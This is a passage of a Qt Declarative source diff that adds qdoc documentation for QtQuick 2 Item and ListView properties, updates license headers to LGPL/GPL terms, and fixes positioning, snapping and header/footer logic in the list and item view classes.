QTransform t = item?QSGItemPrivate::get(item)->itemToCanvasTransform():QTransform();
t *= d->canvasToItemTransform();
@@ -3113,6 +4561,318 @@ QRectF QSGItem::mapRectFromScene(const QRectF &rect) const
return d->canvasToItemTransform().mapRect(rect);
}
+
+/*!
+ \qmlmethod QtQuick2::Item::forceActiveFocus()
+
+ Forces active focus on the item.
+
+ This method sets focus on the item and makes sure that all the focus scopes
+ higher in the object hierarchy are also given the focus.
+*/
+
+/*!
+ Forces active focus on the item.
+
+ This method sets focus on the item and makes sure that all the focus scopes
+ higher in the object hierarchy are also given the focus.
+*/
+
+/*!
+ \qmlmethod QtQuick2::Item::childAt(real x, real y)
+
+ Returns the visible child item at point (\a x, \a y), which is in this
+ item's coordinate system, or \c null if there is no such item.
+*/
+
+/*!
+ Returns the visible child item at point (\a x, \a y), which is in this
+ item's coordinate system, or 0 if there is no such item.
+*/
+
+/*!
+ \qmlproperty list<State> QtQuick2::Item::states
+ This property holds a list of states defined by the item.
+
+ \qml
+ Item {
+ states: [
+ State {
+ // ...
+ },
+ State {
+ // ...
+ }
+ // ...
+ ]
+ }
+ \endqml
+
+ \sa {qmlstate}{States}
+*/
+/*!
+ \qmlproperty list<Transition> QtQuick2::Item::transitions
+ This property holds a list of transitions defined by the item.
+
+ \qml
+ Item {
+ transitions: [
+ Transition {
+ // ...
+ },
+ Transition {
+ // ...
+ }
+ // ...
+ ]
+ }
+ \endqml
+
+ \sa {QML Animation and Transitions}{Transitions}
+*/
+/*
+ \qmlproperty list<Filter> QtQuick2::Item::filter
+ This property holds a list of graphical filters to be applied to the item.
+
+ \l {Filter}{Filters} include things like \l {Blur}{blurring}
+ the item, or giving it a \l Reflection. Some
+ filters may not be available on all canvases; if a filter is not
+ available on a certain canvas, it will simply not be applied for
+ that canvas (but the QML will still be considered valid).
+
+ \qml
+ Item {
+ filter: [
+ Blur {
+ // ...
+ },
+ Reflection {
+ // ...
+ }
+ // ...
+ ]
+ }
+ \endqml
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::Item::clip
+ This property holds whether clipping is enabled. The default clip value is \c false.
+
+ If clipping is enabled, an item will clip its own painting, as well
+ as the painting of its children, to its bounding rectangle.
+
+ Non-rectangular clipping regions are not supported for performance reasons.
+*/
+
+/*!
+ \property QSGItem::clip
+ This property holds whether clipping is enabled. The default clip value is \c false.
+
+ If clipping is enabled, an item will clip its own painting, as well
+ as the painting of its children, to its bounding rectangle. If you set
+ clipping during an item's paint operation, remember to re-set it to
+ prevent clipping the rest of your scene.
+
+ Non-rectangular clipping regions are not supported for performance reasons.
+*/
+
+/*!
+ \qmlproperty string QtQuick2::Item::state
+
+ This property holds the name of the current state of the item.
+
+ This property is often used in scripts to change between states. For
+ example:
+
+ \js
+ function toggle() {
+ if (button.state == 'On')
+ button.state = 'Off';
+ else
+ button.state = 'On';
+ }
+ \endjs
+
+ If the item is in its base state (i.e. no explicit state has been
+ set), \c state will be a blank string. Likewise, you can return an
+ item to its base state by setting its current state to \c ''.
+
+ \sa {qmlstates}{States}
+*/
+
+/*!
+ \qmlproperty list<Transform> QtQuick2::Item::transform
+ This property holds the list of transformations to apply.
+
+ For more information see \l Transform.
+*/
+
+/*!
+ \enum QSGItem::TransformOrigin
+
+ Controls the point about which simple transforms like scale apply.
+
+ \value TopLeft The top-left corner of the item.
+ \value Top The center point of the top of the item.
+ \value TopRight The top-right corner of the item.
+ \value Left The left most point of the vertical middle.
+ \value Center The center of the item.
+ \value Right The right most point of the vertical middle.
+ \value BottomLeft The bottom-left corner of the item.
+ \value Bottom The center point of the bottom of the item.
+ \value BottomRight The bottom-right corner of the item.
+*/
+
+
+/*!
+ \qmlproperty bool QtQuick2::Item::activeFocus
+
+ This property indicates whether the item has active focus.
+
+ An item with active focus will receive keyboard input,
+ or is a FocusScope ancestor of the item that will receive keyboard input.
+
+ Usually, activeFocus is gained by setting focus on an item and its enclosing
+ FocusScopes. In the following example \c input will have activeFocus.
+ \qml
+ Rectangle {
+ FocusScope {
+ focus: true
+ TextInput {
+ id: input
+ focus: true
+ }
+ }
+ }
+ \endqml
+
+ \sa focus, {qmlfocus}{Keyboard Focus}
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::Item::focus
+ This property indicates whether the item has focus within the enclosing focus scope. If true, this item
+ will gain active focus when the enclosing focus scope gains active focus.
+ In the following example, \c input will be given active focus when \c scope gains active focus.
+ \qml
+ Rectangle {
+ FocusScope {
+ id: scope
+ TextInput {
+ id: input
+ focus: true
+ }
+ }
+ }
+ \endqml
+
+ For the purposes of this property, the scene as a whole is assumed to act like a focus scope.
+ On a practical level, that means the following QML will give active focus to \c input on startup.
+
+ \qml
+ Rectangle {
+ TextInput {
+ id: input
+ focus: true
+ }
+ }
+ \endqml
+
+ \sa activeFocus, {qmlfocus}{Keyboard Focus}
+*/
+
+
+/*!
+ \property QSGItem::anchors
+ \internal
+*/
+
+/*!
+ \property QSGItem::left
+ \internal
+*/
+
+/*!
+ \property QSGItem::right
+ \internal
+*/
+
+/*!
+ \property QSGItem::horizontalCenter
+ \internal
+*/
+
+/*!
+ \property QSGItem::top
+ \internal
+*/
+
+/*!
+ \property QSGItem::bottom
+ \internal
+*/
+
+/*!
+ \property QSGItem::verticalCenter
+ \internal
+*/
+
+/*!
+ \property QSGItem::focus
+ \internal
+*/
+
+/*!
+ \property QSGItem::transform
+ \internal
+*/
+
+/*!
+ \property QSGItem::transformOrigin
+ \internal
+*/
+
+/*!
+ \property QSGItem::activeFocus
+ \internal
+*/
+
+/*!
+ \property QSGItem::baseline
+ \internal
+*/
+
+/*!
+ \property QSGItem::data
+ \internal
+*/
+
+/*!
+ \property QSGItem::resources
+ \internal
+*/
+
+/*!
+ \property QSGItem::state
+ \internal
+*/
+
+/*!
+ \property QSGItem::states
+ \internal
+*/
+
+/*!
+ \property QSGItem::transformOriginPoint
+ \internal
+*/
+
+/*!
+ \property QSGItem::transitions
+ \internal
+*/
+
bool QSGItem::event(QEvent *ev)
{
return QObject::event(ev);
diff --git a/src/declarative/items/qsgitem.h b/src/declarative/items/qsgitem.h
index f8e52cf848..02a7a33ed8 100644
--- a/src/declarative/items/qsgitem.h
+++ b/src/declarative/items/qsgitem.h
@@ -375,6 +375,7 @@ protected:
virtual void dragExitEvent(QSGDragEvent *event);
virtual void dragDropEvent(QSGDragEvent *event);
virtual bool childMouseEventFilter(QSGItem *, QEvent *);
+ virtual void windowDeactivateEvent();
virtual void geometryChanged(const QRectF &newGeometry,
const QRectF &oldGeometry);
diff --git a/src/declarative/items/qsgitemsmodule.cpp b/src/declarative/items/qsgitemsmodule.cpp
index 62a4bd06cb..9359906f25 100644
--- a/src/declarative/items/qsgitemsmodule.cpp
+++ b/src/declarative/items/qsgitemsmodule.cpp
@@ -126,6 +126,7 @@ static void qt_sgitems_defineModule(const char *uri, int major, int minor)
qmlRegisterType<QDeclarativePathPercent>(uri,major,minor,"PathPercent");
qmlRegisterType<QDeclarativePathQuad>(uri,major,minor,"PathQuad");
qmlRegisterType<QSGPathView>(uri,major,minor,"PathView");
+ qmlRegisterUncreatableType<QSGBasePositioner>(uri,major,minor,"Positioner","Positioner is an abstract type that is only available as an attached property.");
#ifndef QT_NO_VALIDATOR
qmlRegisterType<QIntValidator>(uri,major,minor,"IntValidator");
qmlRegisterType<QDoubleValidator>(uri,major,minor,"DoubleValidator");
diff --git a/src/declarative/items/qsgitemview.cpp b/src/declarative/items/qsgitemview.cpp
index bcb4a8a97c..5543f12f6d 100644
--- a/src/declarative/items/qsgitemview.cpp
+++ b/src/declarative/items/qsgitemview.cpp
@@ -7,28 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying ** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -723,7 +724,6 @@ void QSGItemView::trackedPositionChanged()
qreal trackedPos = d->trackedItem->position();
qreal trackedSize = d->trackedItem->size();
if (d->trackedItem != d->currentItem) {
- trackedPos -= d->currentItem->sectionSize();
trackedSize += d->currentItem->sectionSize();
}
qreal viewPos;
@@ -756,16 +756,32 @@ void QSGItemView::trackedPositionChanged()
pos = d->startPosition();
}
} else {
- if (trackedPos < viewPos && d->currentItem->position() < viewPos) {
- pos = qMax(trackedPos, d->currentItem->position());
- } else if (d->trackedItem->endPosition() >= viewPos + d->size()
- && d->currentItem->endPosition() >= viewPos + d->size()) {
- if (d->trackedItem->endPosition() <= d->currentItem->endPosition()) {
- pos = d->trackedItem->endPosition() - d->size();
+ qreal trackedEndPos = d->trackedItem->endPosition();
+ qreal toItemPos = d->currentItem->position();
+ qreal toItemEndPos = d->currentItem->endPosition();
+
+ if (d->header && d->showHeaderForIndex(d->currentIndex)) {
+ trackedPos -= d->headerSize();
+ trackedEndPos -= d->headerSize();
+ toItemPos -= d->headerSize();
+ toItemEndPos -= d->headerSize();
+ } else if (d->footer && d->showFooterForIndex(d->currentIndex)) {
+ trackedPos += d->footerSize();
+ trackedEndPos += d->footerSize();
+ toItemPos += d->footerSize();
+ toItemEndPos += d->footerSize();
+ }
+
+ if (trackedPos < viewPos && toItemPos < viewPos) {
+ pos = qMax(trackedPos, toItemPos);
+ } else if (trackedEndPos >= viewPos + d->size()
+ && toItemEndPos >= viewPos + d->size()) {
+ if (trackedEndPos <= toItemEndPos) {
+ pos = trackedEndPos - d->size();
if (trackedSize > d->size())
pos = trackedPos;
} else {
- pos = d->currentItem->endPosition() - d->size();
+ pos = toItemEndPos - d->size();
if (d->currentItem->size() > d->size())
pos = d->currentItem->position();
}
@@ -1082,7 +1098,7 @@ int QSGItemViewPrivate::mapFromModel(int modelIndex) const
for (int i = 0; i < visibleItems.count(); ++i) {
FxViewItem *item = visibleItems.at(i);
if (item->index == modelIndex)
- return i + visibleIndex;
+ return i;
if (item->index > modelIndex)
return -1;
}
diff --git a/src/declarative/items/qsgitemview_p.h b/src/declarative/items/qsgitemview_p.h
index 4c5b91fcde..b784015f66 100644
--- a/src/declarative/items/qsgitemview_p.h
+++ b/src/declarative/items/qsgitemview_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/items/qsgitemview_p_p.h b/src/declarative/items/qsgitemview_p_p.h
index 3113a8b754..f20f4cca3e 100644
--- a/src/declarative/items/qsgitemview_p_p.h
+++ b/src/declarative/items/qsgitemview_p_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -95,10 +95,10 @@ public:
void adjustMoveParameters(int *from, int *to, int *count) const;
virtual void init();
- virtual void updateCurrent(int modelIndex);
virtual void clear();
- virtual void regenerate();
virtual void updateViewport();
+
+ void regenerate();
void layout();
void refill();
void refill(qreal from, qreal to, bool doBuffer = false);
@@ -111,6 +111,7 @@ public:
QSGItem *createHighlightItem();
QSGItem *createComponentItem(QDeclarativeComponent *component, bool receiveItemGeometryChanges, bool createDefault = false);
+ void updateCurrent(int modelIndex);
void updateTrackedItem();
void updateUnrequestedIndexes();
void updateUnrequestedPositions();
@@ -176,6 +177,8 @@ protected:
virtual qreal headerSize() const = 0;
virtual qreal footerSize() const = 0;
+ virtual bool showHeaderForIndex(int index) const = 0;
+ virtual bool showFooterForIndex(int index) const = 0;
virtual void updateHeader() = 0;
virtual void updateFooter() = 0;
@@ -191,14 +194,14 @@ protected:
virtual void visibleItemsChanged() = 0;
virtual FxViewItem *newViewItem(int index, QSGItem *item) = 0;
- virtual void initializeViewItem(FxViewItem *) {}
virtual void repositionPackageItemAt(QSGItem *item, int index) = 0;
virtual void layoutVisibleItems() = 0;
-
- virtual void updateSections() {}
virtual void changedVisibleIndex(int newIndex) = 0;
+
+ virtual void initializeViewItem(FxViewItem *) {}
virtual void initializeCurrentItem() {}
+ virtual void updateSections() {}
virtual void itemGeometryChanged(QSGItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
};
diff --git a/src/declarative/items/qsglistview.cpp b/src/declarative/items/qsglistview.cpp
index 641dd35104..3be4a4bd58 100644
--- a/src/declarative/items/qsglistview.cpp
+++ b/src/declarative/items/qsglistview.cpp
@@ -223,6 +223,8 @@ public:
virtual qreal headerSize() const;
virtual qreal footerSize() const;
+ virtual bool showHeaderForIndex(int index) const;
+ virtual bool showFooterForIndex(int index) const;
virtual void updateHeader();
virtual void updateFooter();
@@ -434,6 +436,7 @@ qreal QSGListViewPrivate::snapPosAt(qreal pos)
FxViewItem *QSGListViewPrivate::snapItemAt(qreal pos)
{
FxViewItem *snapItem = 0;
+ qreal prevItemSize = 0;
for (int i = 0; i < visibleItems.count(); ++i) {
FxViewItem *item = visibleItems.at(i);
if (item->index == -1)
@@ -441,8 +444,9 @@ FxViewItem *QSGListViewPrivate::snapItemAt(qreal pos)
qreal itemTop = item->position();
if (highlight && itemTop >= pos && item->endPosition() <= pos + highlight->size())
return item;
- if (itemTop+item->size()/2 >= pos && itemTop-item->size()/2 < pos)
+ if (itemTop+item->size()/2 >= pos && itemTop-prevItemSize/2 < pos)
snapItem = item;
+ prevItemSize = item->size();
}
return snapItem;
}
@@ -455,6 +459,7 @@ void QSGListViewPrivate::changedVisibleIndex(int newIndex)
void QSGListViewPrivate::init()
{
+ QSGItemViewPrivate::init();
::memset(sectionCache, 0, sizeof(QSGItem*) * sectionCacheSize);
}
@@ -498,6 +503,8 @@ FxViewItem *QSGListViewPrivate::newViewItem(int modelIndex, QSGItem *item)
void QSGListViewPrivate::initializeViewItem(FxViewItem *item)
{
+ QSGItemViewPrivate::initializeViewItem(item);
+
QSGItemPrivate *itemPrivate = QSGItemPrivate::get(item->item);
itemPrivate->addItemChangeListener(this, QSGItemPrivate::Geometry);
@@ -600,6 +607,8 @@ bool QSGListViewPrivate::removeNonVisibleItems(int bufferFrom, int bufferTo)
while (visibleItems.count() > 1 && (item = visibleItems.first()) && item->endPosition() <= bufferFrom) {
if (item->attached->delayRemove())
break;
+ if (item->size() == 0)
+ break;
// qDebug() << "refill: remove first" << visibleIndex << "top end pos" << item->endPosition();
if (item->index != -1)
visibleIndex++;
@@ -726,7 +735,8 @@ void QSGListViewPrivate::updateHighlight()
{
if ((!currentItem && highlight) || (currentItem && !highlight))
createHighlight();
- if (currentItem && autoHighlight && highlight && !movingHorizontally && !movingVertically) {
+ bool strictHighlight = haveHighlightRange && highlightRange == QSGListView::StrictlyEnforceRange;
+ if (currentItem && autoHighlight && highlight && (!strictHighlight || !pressed)) {
// auto-update highlight
FxListItemSG *listItem = static_cast<FxListItemSG*>(currentItem);
highlightPosAnimator->to = isRightToLeft()
@@ -814,6 +824,8 @@ void QSGListViewPrivate::createSection(FxListItemSG *listItem)
void QSGListViewPrivate::updateSections()
{
+ QSGItemViewPrivate::updateSections();
+
if (sectionCriteria && !visibleItems.isEmpty()) {
QString prevSection;
if (visibleIndex > 0)
@@ -870,6 +882,8 @@ void QSGListViewPrivate::updateCurrentSection()
void QSGListViewPrivate::initializeCurrentItem()
{
+ QSGItemViewPrivate::initializeCurrentItem();
+
if (currentItem) {
FxListItemSG *listItem = static_cast<FxListItemSG *>(currentItem);
@@ -913,6 +927,16 @@ qreal QSGListViewPrivate::footerSize() const
return footer ? footer->size() : 0.0;
}
+bool QSGListViewPrivate::showHeaderForIndex(int index) const
+{
+ return index == 0;
+}
+
+bool QSGListViewPrivate::showFooterForIndex(int index) const
+{
+ return index == model->count()-1;
+}
+
void QSGListViewPrivate::updateFooter()
{
Q_Q(QSGListView);
@@ -1241,6 +1265,68 @@ void QSGListViewPrivate::flick(AxisData &data, qreal minExtent, qreal maxExtent,
//----------------------------------------------------------------------------
+/*!
+ \qmlclass ListView QSGListView
+ \inqmlmodule QtQuick 2
+ \ingroup qml-view-elements
+ \inherits Flickable
+ \brief The ListView item provides a list view of items provided by a model.
+
+ A ListView displays data from models created from built-in QML elements like ListModel
+ and XmlListModel, or custom model classes defined in C++ that inherit from
+ QAbstractListModel.
+
+ A ListView has a \l model, which defines the data to be displayed, and
+ a \l delegate, which defines how the data should be displayed. Items in a
+ ListView are laid out horizontally or vertically. List views are inherently
+ flickable because ListView inherits from \l Flickable.
+
+ \section1 Example Usage
+
+ The following example shows the definition of a simple list model defined
+ in a file called \c ContactModel.qml:
+
+ \snippet doc/src/snippets/declarative/listview/ContactModel.qml 0
+
+ Another component can display this model data in a ListView, like this:
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/listview/listview.qml classdocs simple
+
+ \image listview-simple.png
+
+ Here, the ListView creates a \c ContactModel component for its model, and a \l Text element
+ for its delegate. The view will create a new \l Text component for each item in the model. Notice
+ the delegate is able to access the model's \c name and \c number data directly.
+
+ An improved list view is shown below. The delegate is visually improved and is moved
+ into a separate \c contactDelegate component.
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml classdocs advanced
+ \image listview-highlight.png
+
+ The currently selected item is highlighted with a blue \l Rectangle using the \l highlight property,
+ and \c focus is set to \c true to enable keyboard navigation for the list view.
+ The list view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
+
+ Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+
+ ListView attaches a number of properties to the root item of the delegate, for example
+ \c {ListView.isCurrentItem}. In the following example, the root delegate item can access
+ this attached property directly as \c ListView.isCurrentItem, while the child
+ \c contactInfo object must refer to this property as \c wrapper.ListView.isCurrentItem.
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml isCurrentItem
+
+ \note Views do not enable \e clip automatically. If the view
+ is not clipped by another item or the screen, it will be necessary
+ to set \e {clip: true} in order to have the out of view items clipped
+ nicely.
+
+ \sa {QML Data Models}, GridView, {declarative/modelviews/listview}{ListView examples}
+*/
QSGListView::QSGListView(QSGItem *parent)
: QSGItemView(*(new QSGListViewPrivate), parent)
{
@@ -1250,6 +1336,203 @@ QSGListView::~QSGListView()
{
}
+/*!
+ \qmlattachedproperty bool QtQuick2::ListView::isCurrentItem
+ This attached property is true if this delegate is the current item; otherwise false.
+
+ It is attached to each instance of the delegate.
+
+ This property may be used to adjust the appearance of the current item, for example:
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml isCurrentItem
+*/
+
+/*!
+ \qmlattachedproperty ListView QtQuick2::ListView::view
+ This attached property holds the view that manages this delegate instance.
+
+ It is attached to each instance of the delegate.
+*/
+
+/*!
+ \qmlattachedproperty string QtQuick2::ListView::previousSection
+ This attached property holds the section of the previous element.
+
+ It is attached to each instance of the delegate.
+
+ The section is evaluated using the \l {ListView::section.property}{section} properties.
+*/
+
+/*!
+ \qmlattachedproperty string QtQuick2::ListView::nextSection
+ This attached property holds the section of the next element.
+
+ It is attached to each instance of the delegate.
+
+ The section is evaluated using the \l {ListView::section.property}{section} properties.
+*/
+
+/*!
+ \qmlattachedproperty string QtQuick2::ListView::section
+ This attached property holds the section of this element.
+
+ It is attached to each instance of the delegate.
+
+ The section is evaluated using the \l {ListView::section.property}{section} properties.
+*/
+
+/*!
+ \qmlattachedproperty bool QtQuick2::ListView::delayRemove
+ This attached property holds whether the delegate may be destroyed.
+
+ It is attached to each instance of the delegate.
+
+ It is sometimes necessary to delay the destruction of an item
+ until an animation completes.
+
+ The example delegate below ensures that the animation completes before
+ the item is removed from the list.
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml delayRemove
+*/
+
+/*!
+ \qmlattachedsignal QtQuick2::ListView::onAdd()
+ This attached handler is called immediately after an item is added to the view.
+*/
+
+/*!
+ \qmlattachedsignal QtQuick2::ListView::onRemove()
+ This attached handler is called immediately before an item is removed from the view.
+*/
+
+/*!
+ \qmlproperty model QtQuick2::ListView::model
+ This property holds the model providing data for the list.
+
+ The model provides the set of data that is used to create the items
+ in the view. Models can be created directly in QML using \l ListModel, \l XmlListModel
+ or \l VisualItemModel, or provided by C++ model classes. If a C++ model class is
+ used, it must be a subclass of \l QAbstractItemModel or a simple list.
+
+ \sa {qmlmodels}{Data Models}
+*/
+
+/*!
+ \qmlproperty Component QtQuick2::ListView::delegate
+
+ The delegate provides a template defining each item instantiated by the view.
+ The index is exposed as an accessible \c index property. Properties of the
+ model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+
+ The number of elements in the delegate has a direct effect on the
+ flicking performance of the view. If at all possible, place functionality
+ that is not needed for the normal display of the delegate in a \l Loader which
+ can load additional elements when needed.
+
+ The ListView will lay out the items based on the size of the root item
+ in the delegate.
+
+ It is recommended that the delagate's size be a whole number to avoid sub-pixel
+ alignment of items.
+
+ \note Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+*/
+/*!
+ \qmlproperty int QtQuick2::ListView::currentIndex
+ \qmlproperty Item QtQuick2::ListView::currentItem
+
+ The \c currentIndex property holds the index of the current item, and
+ \c currentItem holds the current item. Setting the currentIndex to -1
+ will clear the highlight and set currentItem to null.
+
+ If highlightFollowsCurrentItem is \c true, setting either of these
+ properties will smoothly scroll the ListView so that the current
+ item becomes visible.
+
+ Note that the position of the current item
+ may only be approximate until it becomes visible in the view.
+*/
+
+/*!
+ \qmlproperty Item QtQuick2::ListView::highlightItem
+
+ This holds the highlight item created from the \l highlight component.
+
+ The \c highlightItem is managed by the view unless
+ \l highlightFollowsCurrentItem is set to false.
+
+ \sa highlight, highlightFollowsCurrentItem
+*/
+
+/*!
+ \qmlproperty int QtQuick2::ListView::count
+ This property holds the number of items in the view.
+*/
+
+/*!
+ \qmlproperty Component QtQuick2::ListView::highlight
+ This property holds the component to use as the highlight.
+
+ An instance of the highlight component is created for each list.
+ The geometry of the resulting component instance is managed by the list
+ so as to stay with the current item, unless the highlightFollowsCurrentItem
+ property is false.
+
+ \sa highlightItem, highlightFollowsCurrentItem, {declarative/modelviews/listview}{ListView examples}
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::ListView::highlightFollowsCurrentItem
+ This property holds whether the highlight is managed by the view.
+
+ If this property is true (the default value), the highlight is moved smoothly
+ to follow the current item. Otherwise, the
+ highlight is not moved by the view, and any movement must be implemented
+ by the highlight.
+
+ Here is a highlight with its motion defined by a \l {SpringAnimation} item:
+
+ \snippet doc/src/snippets/declarative/listview/listview.qml highlightFollowsCurrentItem
+
+ Note that the highlight animation also affects the way that the view
+ is scrolled. This is because the view moves to maintain the
+ highlight within the preferred highlight range (or visible viewport).
+
+ \sa highlight, highlightMoveSpeed
+*/
+//###Possibly rename these properties, since they are very useful even without a highlight?
+/*!
+ \qmlproperty real QtQuick2::ListView::preferredHighlightBegin
+ \qmlproperty real QtQuick2::ListView::preferredHighlightEnd
+ \qmlproperty enumeration QtQuick2::ListView::highlightRangeMode
+
+ These properties define the preferred range of the highlight (for the current item)
+ within the view. The \c preferredHighlightBegin value must be less than the
+ \c preferredHighlightEnd value.
+
+ These properties affect the position of the current item when the list is scrolled.
+ For example, if the currently selected item should stay in the middle of the
+ list when the view is scrolled, set the \c preferredHighlightBegin and
+ \c preferredHighlightEnd values to the top and bottom coordinates of where the middle
+ item would be. If the \c currentItem is changed programmatically, the list will
+ automatically scroll so that the current item is in the middle of the view.
+ Furthermore, the behavior of the current item index will occur whether or not a
+ highlight exists.
+
+ Valid values for \c highlightRangeMode are:
+
+ \list
+ \o ListView.ApplyRange - the view attempts to maintain the highlight within the range.
+ However, the highlight can move outside of the range at the ends of the list or due
+ to mouse interaction.
+ \o ListView.StrictlyEnforceRange - the highlight never moves outside of the range.
+ The current item changes if a keyboard or mouse action would cause the highlight to move
+ outside of the range.
+ \o ListView.NoHighlightRange - this is the default value.
+ \endlist
+*/
void QSGListView::setHighlightFollowsCurrentItem(bool autoHighlight)
{
Q_D(QSGListView);
@@ -1264,6 +1547,13 @@ void QSGListView::setHighlightFollowsCurrentItem(bool autoHighlight)
}
}
+/*!
+ \qmlproperty real QtQuick2::ListView::spacing
+
+ This property holds the spacing between items.
+
+ The default value is 0.
+*/
qreal QSGListView::spacing() const
{
Q_D(const QSGListView);
@@ -1280,6 +1570,27 @@ void QSGListView::setSpacing(qreal spacing)
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::ListView::orientation
+ This property holds the orientation of the list.
+
+ Possible values:
+
+ \list
+ \o ListView.Horizontal - Items are laid out horizontally
+ \o ListView.Vertical (default) - Items are laid out vertically
+ \endlist
+
+ \table
+ \row
+ \o Horizontal orientation:
+ \image ListViewHorizontal.png
+
+ \row
+ \o Vertical orientation:
+ \image listview-highlight.png
+ \endtable
+*/
QSGListView::Orientation QSGListView::orientation() const
{
Q_D(const QSGListView);
@@ -1305,6 +1616,116 @@ void QSGListView::setOrientation(QSGListView::Orientation orientation)
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::ListView::layoutDirection
+ This property holds the layout direction of the horizontal list.
+
+ Possible values:
+
+ \list
+ \o Qt.LeftToRight (default) - Items will be laid out from left to right.
+ \o Qt.RightToLeft - Items will be laid out from right to let.
+ \endlist
+
+ \sa ListView::effectiveLayoutDirection
+*/
+
+
+/*!
+ \qmlproperty enumeration QtQuick2::ListView::effectiveLayoutDirection
